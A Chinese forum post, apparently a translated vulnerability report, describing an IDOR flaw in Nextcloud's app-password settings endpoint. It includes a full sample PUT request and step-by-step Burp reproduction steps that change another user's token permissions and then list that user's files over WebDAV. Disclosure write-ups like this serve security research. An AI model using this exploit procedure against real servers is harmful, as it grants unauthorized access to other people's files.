本帖最后由 adopi 于 2023-3-20 20:45 编辑
原文链接:IDOR研究系列-06-注册用户可以更改任何用户的应用程序密码权限
前言
前面写过的很多IDOR相关的文章: 正文:
有问题的链接见下面: http://[server]/nextcloud/index.php/settings/personal/authtokens/[token ID] Nextcloud用户可以创建特定于应用程序的密码,也称为authtokens, 让一个应用程序对其账户进行有限制的访问。用户可以根据每个应用程序密码授予或拒绝访问他们的文件。 更改密码的文件访问(“文件系统”)权限的功能包含一个IDOR漏洞。在提交易受攻击的请求时,经过身份验证的用户可以通过更改应用程序密码ID号码来更改其他用户的应用程序密码的权限。 脆弱性参数位于发送给脆弱URL的JSON体中。示例请求如下:
- PUT /nextcloud/index.php/settings/personal/authtokens/95 HTTP/1.1
- Host: 192.168.1.22
- User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:57.0) Gecko/20100101 Firefox/57.0
- Accept: application/json, text/javascript, /; q=0.01
- Accept-Language: en-US,en;q=0.5
- Accept-Encoding: gzip, deflate
- Content-Type: application/json
- requesttoken: vc5TVyC0GjTVwEX/YNUMeJ79CWq4W9G0/F6dJTOKMvE=:i6U7bkv2Tna8lXe2NbN6OdO/QgSKP7X1tR/kV1TsC6Q=
- OCS-APIREQUEST: true
- X-Requested-With: XMLHttpRequest
- Content-Length: 109
- Cookie: oc0xkd23iidt=prfrkbtr1t6bdqou018cajubv7; oc_sessionPassphrase=mz4sLu%2BmEY3MNj1ItWaTYM6PsBpJikK34msNsw1zA%2BuUJoM9J2zXY26eF7PDr9Dy9DpafNTaWN8iIBrGmh%2FDghSJASzTIwQhjW4gC%2B%2BTjIDBXm0THC7nixmxvdfIPxNA; nc_sameSiteCookielax=true; nc_sameSiteCookiestrict=true
- Connection: close
- {"id":95,"name":"thisiatest","lastActivity":1513224099,"type":1,"scope":{"filesystem":true},"canDelete":true}
复制代码 id为脆弱性参数
复现步骤
前提条件:一台有几个测试用户的Nextcloud服务器,一个能通过Burp等代理的浏览器设置。一个WebDav客户端也很有用,可以在Ubuntu上使用cadaver。 - 转到Burp,点击“代理”选项卡,点击“拦截”子选项卡,点击“拦截开启”切换拦截关闭(如果它还没有关闭)
- 以测试用户登录Nextcloud
- 创建一个应用程序密码,取消勾选“允许文件系统访问”
- 转到Burp,点击“代理”选项卡,点击“HTTP历史”子选项卡,向下滚动列表,找到对易受攻击URL的调用.注意authtoken ID的值.它是URL末尾的数字,也是JSON请求正文中的“id”值
- 退出Nextcloud
- 如果您有webdav客户端,请使用密码登录。对于cadaver,打开终端,输入“cadaver http://[server]/remote.php/webdav”,用app密码登录,发出“ls”命令。应该不会出现任何内容,因为该密码缺乏对用户文件的权限
- 以第二个用户登录Nextcloud
- 为这个用户创建一个应用程序密码,取消勾选“允许文件系统访问”
- 跳转Burp -> Proxy -> Intercept,切换拦截开启(interception on)
- 回到浏览器,为我们刚刚创建的应用程序重新勾选“允许文件系统访问”框。
- Burp应该会延迟观看请求。请求应该指向易受攻击的URL;如果不是,点击“转发”,直到易受攻击的URL出现
- 在JSON请求正文中,将“id”参数的值更改为前面提到的第一个受害用户的authtoken id
- 转发(forward)请求(或者关闭拦截开关,都可以)
- 回到webdav客户端,再次发出“ls”命令。现在应该得到受害用户的目录列表。如果没有,退出webdav客户端,并尝试再次登录
如果没有webdav客户端,请退出Nextcloud并作为第一个用户重新登录。转到他们的个人设置,向下滚动到authtoken/app特定的密码,然后单击3次省略图标。现在应该检查“允许文件系统访问”,这表明我们的IDOR攻击成功地改变了这个authtoken的权限
|